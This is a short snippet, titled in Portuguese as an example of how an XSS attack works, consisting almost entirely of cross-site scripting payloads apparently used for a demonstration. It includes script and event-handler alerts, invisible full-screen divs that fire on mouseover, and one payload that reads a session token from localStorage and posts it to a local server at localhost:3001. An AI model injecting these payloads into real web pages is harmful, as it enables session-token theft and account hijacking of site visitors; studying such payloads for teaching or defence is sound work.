Exemplo de funmcionamento do ataque XSS
<iframe src="proxy.php?url=https%3A%2F%2Fwww.cristianoprogramador.com%2F">
<img src="proxy.php?url=https%3A%2F%2Fgithub.com%2F1https%3A%2F%2Fwww.cristianoprogramador.com%2Fimg%2Fprofile.jpg">
<button onclick="Alert Hackeado">Click me</button>
<div onmouseover="alert('injetado!')" style="width:100vw; height: 100vh; color:transparent"> </div>
<script>alert('123')</script>
<div onmouseover="axios.post('http://localhost:3001/', {}, {headers:{Authorization:localStorage['token']} }).then((result)=>{})" style="width:100vw; height: 100vh; color:transparent"></div>